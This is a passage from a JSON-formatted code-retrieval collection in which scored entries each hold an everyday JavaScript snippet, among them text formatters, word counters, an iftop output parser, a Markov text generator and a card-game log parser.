rtArr.push(key);\n }\n\n return rtArr.join('');\n\n}", "title": "" }, { "docid": "b822d195014f4286543e76d25b22f5b8", "score": "0.520751", "text": "function CreateMeasure(){\n //Each call to GetNote() sends an index for each respective guitar string\n //This ensures that the correct notes and retrieved and formatted for 2 character spaces\n var measure = (`e ||----${GetNote(0)}----${GetNote(0)}----${GetNote(0)}----${GetNote(0)}----${GetNote(0)}----${GetNote(0)}----${GetNote(0)}----${GetNote(0)}----\\n` +\n `B ||----${GetNote(1)}----${GetNote(1)}----${GetNote(1)}----${GetNote(1)}----${GetNote(1)}----${GetNote(1)}----${GetNote(1)}----${GetNote(1)}----\\n` +\n `G ||----${GetNote(2)}----${GetNote(2)}----${GetNote(2)}----${GetNote(2)}----${GetNote(2)}----${GetNote(2)}----${GetNote(2)}----${GetNote(2)}----\\n` +\n `D ||----${GetNote(3)}----${GetNote(3)}----${GetNote(3)}----${GetNote(3)}----${GetNote(3)}----${GetNote(3)}----${GetNote(3)}----${GetNote(3)}----\\n` +\n `A ||----${GetNote(4)}----${GetNote(4)}----${GetNote(4)}----${GetNote(4)}----${GetNote(4)}----${GetNote(4)}----${GetNote(4)}----${GetNote(4)}----\\n` +\n `E ||----${GetNote(5)}----${GetNote(5)}----${GetNote(5)}----${GetNote(5)}----${GetNote(5)}----${GetNote(5)}----${GetNote(5)}----${GetNote(5)}----\\n`);\n\n return measure;\n}", "title": "" }, { "docid": "276641747662e7238cf26971e32afa79", "score": "0.5199094", "text": "splitMetarLineData(str, length) {\n var result = [],\n currentLine = '',\n currentLineLengthWithoutFormatting = 0;\n \n // 1. Split words on &nbsp;\n let words = str.trim().split(\" \");\n \n // 2. Re-assemble lines\n words.forEach(function(word) {\n let wordLength = word.length;\n // Assemble line\n if (currentLineLengthWithoutFormatting + wordLength <= length) {\n // Word still fits on current line\n if (currentLineLengthWithoutFormatting > 0) {\n currentLine += ' ';\n currentLineLengthWithoutFormatting++;\n }\n } else {\n // Need to start new line\n result.push(currentLine);\n currentLine = '';\n currentLineLengthWithoutFormatting = 0;\n }\n currentLine += word;\n currentLineLengthWithoutFormatting += wordLength;\n });\n \n if (currentLineLengthWithoutFormatting > 0)\n result.push(currentLine);\n \n return result;\n }", "title": "" }, { "docid": "a77f39b32230cb92350f789ba97b1f69", "score": "0.51719", "text": "toString () {\n return this.length +\" items of material needed / \"+\n this.getGenome().length+\" parts,\"+\n \" fitness: \"+this.getFitness().toFixed(2)+unit+\"² \"+\n this.getOffcutsLength().toFixed(2)+unit+\" offcuts\\n\"+ // remove sign from -0\n/*/ add \"/\" at first char to activate debug output. Remove to deactivate\n \"(\"+this.getGenome()+\")\\n\"+\n \"(\"+this.originalGenome+\")\\n\"+\n//*/\n this.reduce((materialDesc,item)=>{\n const desc=item.reduce((itemDesc, partCount, partType) =>\n itemDesc+= (partCount!=0?(itemDesc==\"\"?\"\":\", \")+partCount+\" x \"+partLength[partType].toFixed(2)+unit:''),'')\n materialDesc[materialDesc.length] = desc + ', offcut: '+item.offcut.toFixed(2)+unit // remove sign from -0\n return materialDesc\n }, []).sort().join('\\n')\n }", "title": "" }, { "docid": "bf02a7901d1a018dfcc47423e6feafc2", "score": "0.51597327", "text": "function getFormattedString(output) {\n var formattedString = \"The thing we are most confident in detecting is:\";\n var data = output.data;\n var maxItems = output.data.concepts.length;\n var items = data.concepts;\n for (var i = 0; i < maxItems; i++) {\n formattedString += \"<br/>- \" + items[i].name + \" at a \" + (Math.round(items[i].value * 10000) / 100) + \"% probability\";\n }\n\n return formattedString;\n}", "title": "" }, { "docid": "5dda8af4dfd0adb8e7fade53addc831b", "score": "0.5156851", "text": "function getSteps() {\n return [`Job application tracker`, `All your information in an organized place`, `Welcome to DreamJob!`];\n}", "title": "" }, { "docid": "01606c5acbfda44f6b5760bdafa93378", "score": "0.5128883", "text": "function main() {\n\tlet output\n\tlet input = getIn()\n\tlet groups = input.split(\"\\n\\n\")\n\tgroups = groups.map(x=>{\n\t\tlet oneline = x.replace(/\\s+/g,\"\")\n\t\toneline = oneline.split(\"\")\n\t\t// the internet's telling me I should replace this with [...oneline], since split doesn't handle surrogate pairs, whereas spread operator does, since it uses String's iterator, which does\n\t\toneline.sort()\n\t\toneline = oneline.join(\"\")\n\t\tlet yesQs = oneline.match(/(\\w)\\1*/g)\n\t\treturn yesQs.length\n\t})\n\t// yeah, this shouldn't go back into groups: more like groups_vote_num\n\n\toutput = groups.reduce(sumAll)\n\t// FINALLY: some handiness, with a spritz of dandy\n\tdisplayOut(1, output)\n}", "title": "" }, { "docid": "f81e84eb4d1f8d523f8ae19b51f4127b", "score": "0.5104316", "text": "function tally(data) {\n return _.reduce(data.split(), function(memo, charAt) {\n memo[charAt]++;//increase\n }, {});\n}", "title": "" }, { "docid": "284771e0c7c9c33be2f0f97b0618d4d3", "score": "0.508712", "text": "function getWords(rawData) {\n//\tconsole.loc(rawData);\n return rawData.map(function (d, i) {\n // is this word a filler word?\n d.filler = (d.filler === '1') ? true : false;\n // time in seconds word was spoken\n d.time = +d.time;\n // time in minutes word was spoken\n d.min = Math.floor(d.time / 60);\n\n // positioning for square visual\n // stored here to make it easier\n // to keep track of.\n d.col = i % numPerRow;\n d.x = d.col * (squareSize + squarePad);\n d.row = Math.floor(i / numPerRow);\n d.y = d.row * (squareSize + squarePad);\n return d;\n });\n }", "title": "" }, { "docid": "5cfaf5aa35f10b54759ebde678cf58cb", "score": "0.507131", "text": "toString() {\n // Convert the Map to an array of [key,value] arrays\n let entries = [...this.letterCounts];\n\n // Sort the array by count, then alphabetically\n entries.sort((a, b) => {\n // A function to define sort order.\n if (a[1] === b[1]) {\n // If the counts are the same\n return a[0] < b[0] ? -1 : 1; // sort alphabetically.\n } else {\n // If the counts differ\n return b[1] - a[1]; // sort by largest count.\n }\n });\n\n // Convert the counts to percentages\n for (let entry of entries) {\n entry[1] = (entry[1] / this.totalLetters) * 100;\n }\n\n // Drop any entries less than 1%\n entries = entries.filter((entry) => entry[1] >= 1);\n\n // Now convert each entry to a line of text\n let lines = entries.map(\n ([l, n]) => `${l}: ${\"#\".repeat(Math.round(n))} ${n.toFixed(2)}%`\n );\n\n // And return the concatenated lines, separated by newline characters.\n return lines.join(\"\\n\");\n }", "title": "" }, { "docid": "d1d7ba170b18604ce117ce5d44c33c57", "score": "0.50622594", "text": "function countWords(tweets) {\n wordCounts = {};\n var wordHash = {};\n window['derp'] = wordHash;\n wantedSupplies = [];\n var splitted = tweets.split(\" \");\n window['s'] = splitted;\n $(splitted).each(function (index, value) {\n // console.log(\"index\", index);\n // console.log(splitted[index], \"splitted[index]\");\n var word = value;\n if (wordCounts[word] == null) { // empty object. \n wordCounts[word] = 1; //push first key value\n // console.log(wordCounts, \"<- wordcounts\");\n if (splitted[index] != \"#emergencySandy\" && splitted[index] != \"\")\n console.log(word, \"<-splitted[index])\");\n wantedSupplies.push(word);\n console.log(typeof (wordHash[word]));\n if (typeof(wordHash[word]) === 'undefined')\n wordHash[word] = [];\n wordHash[word].push(value);\n console.log('here is a word:', word);\n\n }\n else {\n wordCounts[word]++;\n // wantedSuppliesCount.push(wordCounts[word]);\n }\n });\n\n // labeling the bars\n var totalTweets = 0;\n for (i = 0; i < wantedSupplies.length; i++) {\n if (wantedSupplies[i] != \"#emergencySandy\") {\n var currWord = wantedSupplies[i];\n console.log(currWord, \"currWord\");\n console.log(\"wantedSupplies[i]:\", wantedSupplies[i]);\n console.log(\"wordcounts.currWord:\", wordCounts[currWord]);\n totalTweets += wordCounts[currWord];\n\n var currBar = $('.bars')[i - 2];\n console.log(currBar, \"currbar\");\n $(currBar).children('p').text(wantedSupplies[i]);\n }\n }\n\n // getting percentage for each requested supply\n for (i = 2; i < wantedSupplies.length; i++) { // i=2 b/c excluding \"\" & \"#emergencysandy\"\n var currWord = wantedSupplies[i];\n console.log(wordCounts[currWord], \"hi\");\n var percentage = (wordCounts[currWord] / totalTweets) * 100;\n\n var currBar = $('.bars .bar')[i - 2];\n $(currBar).css(\"width\", percentage + \"%\");\n }\n console.log(totalTweets);\n}", "title": "" }, { "docid": "bddd073535948c4c0539ca23fa40cca6", "score": "0.50610447", "text": "printOverview() {\n let total = 0;\n let count = 0;\n this.pairs.forEach( (p) => {\n if (this.data[p].position == 0 || this.data[p].isLive) {\n console.log(\n rpad(p, 10),\n lpad(this.data[p].pl.toFixed(8), 11),\n lpad(this.data[p].position.toFixed(8), 13),\n lpad(this.data[p].last.toFixed(8), 11)\n );\n // console.log(this.data[p].buyPrice, this.data[p].sellPrice)\n total += this.data[p].pl;\n count += 1;\n }\n });\n\n console.log();\n console.log(new Date().toUTCString());\n console.log('Pairs:', count, '/', this.pairs.length);\n console.log('TOTAL:', rpad(total.toFixed(8),13));\n console.log();\n }", "title": "" }, { "docid": "72037601f86c85e83b84f17c26d2040f", "score": "0.5055539", "text": "function paragraphSummary(paragraph) {\n var stringFreqStopStringMap = new Map([]);\n var sentenceLength = 0\n var firstSentence = null;\n\n //splits the article into sentences and replaces common abbreviations.\n paragraph = paragraph.split(\"U\\.S\\.\").join(\"US\");\n paragraph = paragraph.split(\"Dr\\.\").join(\"Dr\");\n paragraph = paragraph.split(\"Mr\\.\").join(\"Mr\");\n paragraph = paragraph.split(\"Ms\\.\").join(\"Ms\");\n paragraph = paragraph.split(\"Mrs\\.\").join(\"Mrs\");\n paragraph = paragraph.split(\"Sen\\.\").join(\"Senator\");\n paragraph = paragraph.replace(/\\.\\)/, \")\\.\");\n paragraph = paragraph.replace(/[\\d]+\\./gi, \"\");\n var arrList = splitStringIntoSentenceArray(paragraph);\n\n //Take the list of stop words and analyzes them for whether or not they contain any stop words\n analyzeArrayforStopWords(arrList);\n //Spaces the sentence to make it cohesive again\n var gist = (firstSentence + \" \").concat(returnArrayOfLowestScores().join(\" \"));\n\n return gist;\n\n\n//splits the string into substrings by sentence\n function splitStringIntoSentenceArray(str) {\n var inputArray = str.replace((/(\\.+|\\!|\\?)(\\\"*|\\'*|\\)*|}*|]*)(\\s|\\n|\\r|\\r\\n)/gm), \"$1|\").split(\"|\");\n\n //Grabs the first chunk of the sentence and removes it from being cycled\n firstSentence = inputArray[0]\n inputArray.shift();\n\n //This provides the sentence length we need.\n sentenceLength = (inputArray.length - 1);\n return inputArray;\n }\n\n//checks the sentences for substrings that contain stop words\n function analyzeArrayforStopWords(arr) {\n //stop words, extracted from http://snowball.tartarus.org/algorithms/english/stop.txt\n\n for (var i = 0; i < arr.length; i++) {\n var stopScore = scoreSentence(arr[i], stopWords);\n //Score is classifed as a map that contains [stopscore, <sentence>}\n stringFreqStopStringMap.set(stopScore, arr[i]);\n }\n }\n\n function scoreSentence(str, arr) {\n var strValue = 0;\n for (var i = 0; i < arr.length; i++) {\n //If it does not include the stop-words , then we increase the score for the array.\n if (!str.includes(arr[i])) {\n strValue++\n }\n }\n for (var i = 0; i < topWords.length; i++) {\n //If it contains a keyword, then we increase the score for the array by 2.\n if (str.includes(arr[i])) {\n strValue++;\n strValue++;\n }\n return strValue;\n }\n }\n //returns an array of the lowest\n function returnArrayOfLowestScores() {\n var finalArrayValues = []\n\n for (var i = 0; i < Math.ceil((sentenceLength / 3))-1; i++) {\n var maxkey = Math.max(...stringFreqStopStringMap.keys());\n finalArrayValues.push(stringFreqStopStringMap.get(maxkey));\n stringFreqStopStringMap.delete(maxkey);\n }\n return finalArrayValues;\n }\n}", "title": "" }, { "docid": "bde51eb2a22e5d933996d5ce66d4ef34", "score": "0.5054367", "text": "mapSteps() {\n const noteMapper = (mapped, bar, i) => {\n const steps = bar.forEach((isActive, j) => {\n if (isActive) {\n const stepVal = 96 / bar.length * j + 1\n const tick = stepVal < 10 ? `0${ stepVal }` : stepVal\n mapped.push([`1.${ i + 1 }.${ stepVal }`])\n }\n })\n return mapped\n }\n\n return this.state.steps.reduce(noteMapper, [])\n }", "title": "" }, { "docid": "d034399e19168c1e67d240fabd22f283", "score": "0.5053139", "text": "function main() {\n // let n = parseInt(readLine());\n\n let n = 20, input = ['0 ab','6 cd','0 ef','6 gh','4 ij','0 ab','6 cd','0 ef','6 gh','0 ij','4 that','3 be','0 to','1 be','5 question','1 or','2 not','4 is','2 to','4 the'];\n\n let frequency = Array(100).fill(null), i = 0, x, s;\n\n while(i < n) {\n //[x, s] = readLine().split(' ');\n\n [x, s] = input[i].split(' ');\n\n x = parseInt(x);\n (frequency[x] = frequency[x] || []).push(i < (n/2) ? '-' : s);\n i++;\n }\n\n\n console.log(frequency.reduce((a, b) => { return b ? a.concat(b) : a;}, []).join(' '));\n}", "title": "" }, { "docid": "dffbc2c3e56ea910914a9f80d6bafefd", "score": "0.5045326", "text": "function getFormattedString(output) {\n var formattedString = \"\";\n var data = output.data;\n var maxItems = 10;\n // General\n if ({id: Clarifai.GENERAL_MODEL, version: \"aa7f35c01e0642fda5cf400f543e7c40\"}) {\n var items = data.concepts;\n if (items.length < maxItems) {\n maxItems = items.length;\n if (maxItems === 1) {\n formattedString = \"The thing we are most confident in detecting is:\";\n }\n } else {\n formattedString = \"The \" + maxItems + \" things we are most confident in detecting are:\";\n }\n\n for (var i = 0; i < maxItems; i++) {\n formattedString += \"<br/>- \" + items[i].name + \" at a \" + (Math.round(items[i].value * 10000) / 100) + \"% probability\";\n }\n } \n\n // Textures & Patterns\n else if (output.model.model_version.id === \"b38274b04b1b4fb28c1b442dbfafd1ef\") {\n var items1 = data.concepts;\n if (items1.length < maxItems) {\n maxItems = items.length;\n if (maxItems === 1) {\n formattedString = \"The texture or pattern we are most confident in detecting is:\";\n }\n } else {\n formattedString = \"The \" + maxItems + \" textures and/or patterns we are most confident in detecting are:\";\n }\n\n for (var j = 0; j < maxItems; j++) {\n formattedString += \"<br/>- \" + items[i].name + \" at a \" + (Math.round(items[i].value * 10000) / 100) + \"% probability\";\n }\n }\n \n// General Embedding\n else if (output.model.model_version.id === \"bb7ac05c86be42d38b67bc473d333e07\") {\n formattedString = \"Open up the console to see an array of numerical vectors representing the input image in a 1024-dimensional space.\";\n console.log(\"*** General Embedding Output ***\");\n console.log(data.embeddings[0]);\n }\n // Landscape Quality\n else if (output.model.model_version.id === \"a008c85bb6d44448ad35470bcd22666c\") {\n var items2 = data.concepts;\n formattedString = \"The probability that this photo's landscape is:\";\n for (var k = 0; k < items.length; k++) {\n formattedString += \"<br/>- \" + items2[k].name + \" is \" + (Math.round(items2[k].value * 10000) / 100) + \"%\";\n }\n }\n\n return formattedString;\n}", "title": "" }, { "docid": "e50b8d428c5515041c0c1007448cfa69", "score": "0.50230014", "text": "function day5(data){\ndata= data.split('\\n')\n// console.log(data);\n\nlet highest = 1\nlet dict = {}\nlet count = 0\ndata.forEach((str,index) => {\n let max = 127\n let min = 0\n let row;\n data[index] = str.trim()\n str = str.trim()\n for(let i = 0; i < 7; i++){\n let range = ((max - min)%2==0) ? max-min : (max%2==0 && min%2 ==1) ? (max-min +1) :(min%2==0 && max%2 ==1) ? (max - min + 1) : null\n if(str[i] == 'F'){\n max = max -(range / 2)\n }\n if(str[i] == 'B'){\n min = (max-(range / 2)+1)\n }\n }\n str[6] == 'F' ? row = min : str[6] == 'B'? row = max : \"\"\n\n row > highest ? highest = row : \"\"\n let seatmax = 7\n let seatmin = 0\n let seat;\n for(let i = 7; i<= str.length-1; i++){\n\n if(str[i] == 'L'){\n seatmax = seatmax -Math.floor((seatmax-seatmin) / 2)\n }\n if(str[i] == 'R'){\n seatmin =seatmax-Math.floor((seatmax-seatmin) / 2)\n }\n }\n str[str.length-1] == 'L' ? seat = seatmin : str[str.length-1] == 'R'? seat = seatmax : \"\"\n\n let id = (row * 8) + seat\n id > highest ? highest = id : \"\"\nconsole.log(id);\nif(dict[id]){\n dict[id]++\n}else dict[id] = 1\n\ncount++\n});\nconsole.log(highest)\nconsole.log(dict);\nconsole.log(count);\ndebugger\n for(let i = 100; i < 850; i++){\n if(!dict[i] && dict[i+1] != 2){\n console.log(i, 'pt2');\n }\n }\n }", "title": "" }, { "docid": "eaa6cfb49c1107112f43e7701852bd13", "score": "0.50029546", "text": "function countCommand(){\n\n\tvar values = Object.values(dataToRead);\n\tvar values2 = null;\n\tvar values3 = null;\n\t\n\tfor(i = 0; i < values.length; i++){\n\t\tvalues[i].name += \" [\";\n\t\tvalues[i].name += values[i].people.length;\n\t\tvalues[i].name += \"]\";\n\t\t\n\t\tvalues2 = Object.values(values[i].people);\n\t\t\n\t\tfor(j = 0; j < values2.length ; j++){\n\t\t\t\n\t\t\tvalues[i].people[j].name += \" [\";\n\t\t\tvalues[i].people[j].name += values2[j].animals.length;\n\t\t\tvalues[i].people[j].name += \"]\";\n\t\t\t\n\t\t}\n\t}\n\t\n\tconsole.log(JSON.stringify(values, null, 2));\n\t\n}", "title": "" }, { "docid": "e64ce937912c7ee358e0707cf3379bff", "score": "0.49979734", "text": "handleData(d) {\n this._iftopBuffer += d;\n \n // see if we have any complete entries\n var beg = this._iftopBuffer.indexOf(\" # Host name\");\n var end = this._iftopBuffer.lastIndexOf(\"============================================================================================\");\n if (beg > 0 && end > 0) {\n // get full entries (could be multiple)\n var full = this._iftopBuffer.slice(beg, end);\n // trim off front\n this._iftopBuffer = this._iftopBuffer.slice(end);\n \n // split full entries\n var entries = full.split(\"============================================================================================\");\n for (let ent of entries) {\n if (ent.match(/^\\s{3,4}# Host/)) {\n var p = ent.split(\"--------------------------------------------------------------------------------------------\");\n var ary = p[1].split(/^( \\d| \\d{2})/m);\n \n var obj = {\n flows: []\n };\n \n // parse flows, iterate by 2 b/c evens contain line indices\n for (let i=2; i<ary.length; i+=2) {\n var flowLine = ary[i].match(/^[ ]{1,2}([^\\s]+)\\s+=>\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?B)\\s+([^\\s]+)\\s+<=\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?B)/m);\n \n obj.flows.push({\n src: flowLine[1],\n src2: smiley.iecToDecimal(flowLine[2]),\n src10: smiley.iecToDecimal(flowLine[3]),\n src40: smiley.iecToDecimal(flowLine[4]),\n srcCum: smiley.iecToDecimal(flowLine[5]),\n dst: flowLine[6],\n dst2: smiley.iecToDecimal(flowLine[7]),\n dst10: smiley.iecToDecimal(flowLine[8]),\n dst40: smiley.iecToDecimal(flowLine[9]),\n dstCum: smiley.iecToDecimal(flowLine[10])\n });\n }\n\n // parse send and receive rates\n var rateLine = p[2].match(/Total send rate:\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+Total receive rate:\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+Total send and receive rate:\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)/);\n obj.send2 = smiley.iecToDecimal(rateLine[1]);\n obj.send10 = smiley.iecToDecimal(rateLine[2]);\n obj.send40 = smiley.iecToDecimal(rateLine[3]);\n obj.receive2 = smiley.iecToDecimal(rateLine[4]);\n obj.receive10 = smiley.iecToDecimal(rateLine[5]);\n obj.receive40 = smiley.iecToDecimal(rateLine[6]);\n obj.both2 = smiley.iecToDecimal(rateLine[7]);\n obj.both10 = smiley.iecToDecimal(rateLine[8]);\n obj.both40 = smiley.iecToDecimal(rateLine[9]);\n \n // parse peak and cumulative\n var peakLine = p[3].match(/Peak rate \\(sent\\/received\\/total\\):\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+([0-9\\.]+M?K?b)\\s+Cumulative \\(sent\\/received\\/total\\):\\s+([0-9\\.]+M?K?B)\\s+([0-9\\.]+M?K?B)\\s+([0-9\\.]+M?K?B)/);\n obj.peakSent = smiley.iecToDecimal(peakLine[1]);\n obj.peakReceived = smiley.iecToDecimal(peakLine[2]);\n obj.peakTotal = smiley.iecToDecimal(peakLine[3]);\n obj.cumSent = smiley.iecToDecimal(peakLine[4]);\n obj.cumReceived = smiley.iecToDecimal(peakLine[5]);\n obj.cumTotal = smiley.iecToDecimal(peakLine[6]);\n\n this.emit('data', obj);\n }\n }\n }\n }", "title": "" }, { "docid": "d83637b35808ca7ec5f28640bf8f103a", "score": "0.49822402", "text": "function automatedReadabilityIndex(data) {\n let { letters, numbers, words, sentences } = data;\n return ((4.71 * ((letters + numbers) / words))\n + (0.5 * (words / sentences))\n - 21.43).toFixed(3);\n}", "title": "" }, { "docid": "61d3cab89299f52c509bbf1c827076f1", "score": "0.49752817", "text": "async function wordFreq(string) {\n var wordsMap = {};\n var finalWordsArray = [];\n var relevantwords = string.split(/\\s+/);//converting document to array\n var wordsArray=stopwords.removeStopwords(relevantwords)//removing the basic stopwords using the stopword module\n //iterating over the array using Hash property \n wordsArray.forEach(function (key) {\n if (wordsMap.hasOwnProperty(key)) {\n wordsMap[key]++;//incrementing the count of words if key is present\n } else {\n wordsMap[key] = 1;//else creating object record with value as 1\n }\n });\n //creating object with their final count \n finalWordsArray = Object.keys(wordsMap).map(function (key) {\n return {\n name: key,//name of word\n total: wordsMap[key]//total frequency \n };\n });\n //sorting the object in descending order\n finalWordsArray.sort(function (a, b) {\n return b.total - a.total;\n });\n //slicing the top 10 words from the object\n var topwords = finalWordsArray.sort((a,b) => b-a).slice(0,10);\n //returning the top 10 words\n return topwords;\n\n}", "title": "" }, { "docid": "14e10203231cc4e9a64fdfadbe7973a1", "score": "0.49237674", "text": "getData() {\n let data = [];\n let start = 0;\n this.setting.forEach((item) => {\n let now = this.genes.substr(start, item.n);\n let num = parseInt(now, 2);\n data.push(item.low + num * item.step);\n start = item.n;\n });\n return data;\n }", "title": "" }, { "docid": "44e4b2c7e9b8e92ff7dd00eb8c110ea6", "score": "0.4917012", "text": "function processData(input) {\n let weights = input.split(\"\\n\")[1].split(' ').map(Number),\n value = weights.sort((a, b) => a - b)[0],\n units = 1;\n for (let weight of weights) {\n if (weight > value + 4) {\n value = weight;\n units++;\n }\n }\n console.log(units);\n}", "title": "" }, { "docid": "866069fa0fdcda9f1a178cf578cf9951", "score": "0.49092463", "text": "function tallyTotal(arr) {\n var nbsp = String.fromCharCode(160);\n for(var i = 0, totals = [], total = 0; i < arr.length; i++) {\n var len = arr[i].length;\n if(len) {\n for(var j = 0, sum = 0; j < len; j++) sum += arr[i][j];\n totals.push(sumter.config.regexes[i].showBefore + roundNumber(sum) + sumter.config.regexes[i].showAfter);\n total += sum;\n }\n }\n var tally = totals.join(nbsp + ' + ' + nbsp);\n if(totals.length > 1) tally += nbsp + ' = ' + nbsp + roundNumber(total);\n return tally || sumter.config.title;\n }", "title": "" }, { "docid": "7c89b1e7381f5c78ae70d04a35a23583", "score": "0.4908573", "text": "compileNutrition(data) {\n const result = [];\n data.forEach((item, i) => {\n if(i < 6){\n result.push(item);\n if (item.sub) {\n item.sub.forEach((subItem) => {\n subItem.label = ` ${subItem.label}`;\n result.push(subItem);\n });\n } \n }\n });\n result.forEach((item) => {\n const totalUnit = Math.round(Number(Number(item.total).toFixed(2)).toString()) + item.unit;\n item.totalUnit = totalUnit;\n const dailyPercent = `${Math.round(Number(Number(item.daily).toFixed(1)).toString())}%`;\n item.dailyPercent = dailyPercent;\n });\n return result;\n }", "title": "" }, { "docid": "56c469d0d9006bb8567f3e5947a84e26", "score": "0.48896444", "text": "function getWords(rawData) {\n return rawData.map(function (d, i) {\n // is this word a filler word?\n d.filler = (d.filler === '1') ? true : false;\n // time in seconds word was spoken\n d.time = +d.time;\n // time in minutes word was spoken\n d.min = Math.floor(d.time / 60);\n\n // positioning for square visual\n // stored here to make it easier\n // to keep track of.\n d.col = i % numPerRow;\n d.x = d.col * (squareSize + squarePad);\n d.row = Math.floor(i / numPerRow);\n d.y = d.row * (squareSize + squarePad);\n return d;\n });\n }", "title": "" }, { "docid": "5b42313889d65bdbd72ddfe7b3915af9", "score": "0.48782527", "text": "function highliteLine() {\n\tvar countStr = '';\n\tfor (var i = 0; i <= numberLine; i++) {\n\t\tif (i == thisDebugString)\n\t\t\tcountStr += '<div class=\"execLine\">' + i + '</div>';\n\t\telse\n\t\t\tcountStr += i + '<br>';\n\t}\n\tdocument.getElementById('line-count').innerHTML = countStr;\n}", "title": "" }, { "docid": "cab111a469928342708d1bb43714cba7", "score": "0.4869425", "text": "function printTopFive() {\n console.log(utility.STARRED_REPOS);\n// for (var i = 0; i < 5; i++) {\n// console.log(utility.TOP_FIVE[i]);\n// console.log('[%s stars] %s', i, utility.TOP_FIVE[i].count, utility.TOP_FIVE[i].name);\n// }\n}", "title": "" }, { "docid": "e94bb672057a674010d40deb78075b7f", "score": "0.48671627", "text": "function getMarkovText(count) {\n console.log(\"is this used for now ???\", count)\n \n if (typeof count !== 'undefined'){\n var quota = count; \n }else{\n var quota = 1; \n }\n \n // grab the appropriate spreadsheet\n var sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Markov');\n \n // get all the text, from b5 and following\n var range = sheet.getRange('b5:b'+sheet.getLastRow());\n var txt = range.getValues().join(\" \").replace(\" \", \" \").split(\" \");\n\n // make words into data\n var data = new Object(); \n var firsts = new Array();\n var lasts = new Array();\n for (var i = 0; i < txt.length - 1; i++){\n \n if (/[A-Z]/.test(txt[i][0])){\n firsts.push(txt[i]);\n }\n \n if(/[\\.|\\?]\"?$/.test(txt[i])){\n if(firsts.indexOf(txt[i]) < 0){\n lasts.push(txt[i]); \n }\n }\n \n if (typeof data[txt[i]] == 'object'){\n if (txt[i + 1].length > 0){\n data[txt[i]].push(txt[i + 1]); \n }\n }else{\n data[txt[i]] = new Array();\n if (txt[i + 1].length > 0){\n data[txt[i]].push(txt[i + 1]); \n }\n } \n }\n \n// Logger.log(lasts);\n \n // return;\n\n // build it\n \n //var seed = Math.floor((Math.random() * Object.keys(data).length) + 1);\n \n for (var q = 0; q < quota; q++){\n \n var seed = Math.floor(Math.random() * firsts.length);\n \n var msg = firsts[seed];\n var dead = false;\n while (msg.length < 120 & dead === false){\n var sofar = msg.split(\" \");\n var trunk = sofar[sofar.length - 1];\n \n \n if (typeof data[trunk] !== 'undefined' & lasts.indexOf(trunk) < 0){\n var branch = data[trunk][ Math.floor((Math.random() * data[trunk].length)) ];\n if (typeof branch !== 'undefined'){ msg = msg + \" \" + branch; }else{ dead = true; } \n }else{\n dead = true; \n } \n }\n \n //Logger.log(firsts);\n //Logger.log(msg);\n return msg;\n }\n}", "title": "" }, { "docid": "e4100887379efe5fb7a6854cc08d2794", "score": "0.48589706", "text": "function print_log(){\n //print log to tracker bar\n //var log_text = document.getElementsByClassName(\"game-log\")[0].innerHTML.replace(/<[^>]+>/g, '').trim();\n var log_lines = document.getElementsByClassName(\"actual-log\")\n var decks = {};\n\n for (var key in log_lines){\n line_text = log_lines[key].innerText;\n if (line_text != null){\n //parse starting cards\n //parse gains\n gains_test = line_text.search(\" gains \");\n starts_test = line_text.search(\" starts with \");\n trash_test = line_text.search(\" trashes \");\n return_test = line_text.search(\" returns \");\n receive_test = line_text.search(\" receives \");\n pass_test = line_text.search(\" passes \");\n put_test = line_text.search(\" puts \");\n //ignore puts in not fortress case for now\n if (line_text.search(!\" Fortress \" > 0)){\n put_test = 0;\n }\n if(gains_test > 0 || starts_test > 0 || trash_test > 0 || return_test > 0 || receive_test > 0 || pass_test > 0 || put_test > 0){\n //regex to match gaining text\n var text_match = [];\n if (gains_test > 0){\n text_match = line_text.match(\"([-A-Za-z\\.]*?)(?: buys and)* gains ((?:[,and]*[an0-9]* [-A-Za-z\\' ]*)*)\\.\");\n } \n else if (starts_test > 0){\n text_match = line_text.match(\"([-A-Za-z\\.]*?) starts with ((?:[,and]*[an0-9]* [-A-Za-z\\' ]*)*)\\.\");\n } \n else if (trash_test > 0){\n text_match = line_text.match(\"([-A-Za-z\\.]*?) trashes ((?:[,and]*[an0-9]* [-A-Za-z\\' ]*)*)\\.\");\n //salt special case\n if (key >= 2 && log_lines[key-2].innerText.search(\" buys a Salt the Earth\")>0){\n continue;\n }\n //lurker special case\n if (key >= 2 && log_lines[key-1].innerText.search(\" plays a Lurker\")>0){\n continue;\n }\n //gladiator special case\n if (key >= 3 && log_lines[key-2].innerText.search(\" plays a Gladiator\")>0){\n continue;\n }\n }\n else if (return_test > 0){\n //split up by two types of formatting\n if (line_text.search(\" to the \")>0){\n text_match = line_text.match(\"([-A-Za-z\\.]*?) returns ((?:[,and]*[an0-9]* [-A-Za-z\\' ]*?)*)(?: to the [-A-Za-z ]*?pile)\\.\");\n }\n else {\n text_match = line_text.match(\"([-A-Za-z\\.]*?) returns ((?:[,and]*[an0-9]* [-A-Za-z\\' ]*)*)\\.\");\n }\n \n }\n else if (receive_test > 0){\n text_match = line_text.match(\"([-A-Za-z\\.]*?) receives ((?:[,and]*[an0-9]* [-A-Za-z\\' ]*)*)\\.\");\n }\n else if (pass_test > 0){\n text_match = line_text.match(\"([-A-Za-z\\.]*?) passes ([an0-9]* [-A-Za-z\\' ]*?) to ([-A-Za-z\\.]+?)\\.\")\n }\n else if (put_test > 0){\n text_match = line_text.match(\"([-A-Za-z\\.]*?) puts ((?:[,and]*[an0-9]* [-A-Za-z\\' ]*?)*) into their hand\\.\")\n }\n\n if (text_match != null && text_match[1] != 'undefined')\n {\n //create player deck if it doesnt exist\n if (!(text_match[1] in decks)){\n decks[text_match[1]] = {};\n }\n \n //split matches\n text_matches = text_match[2].split(/, | and /);\n for (var match in text_matches){\n //find card quantifier\n quantifier = text_matches[match].split(\" \")[0];\n if (quantifier == \"an\" || quantifier == \"a\"){\n quantifier = \"1\";\n }\n quantifier = parseInt(quantifier);\n //get card name from match by removing 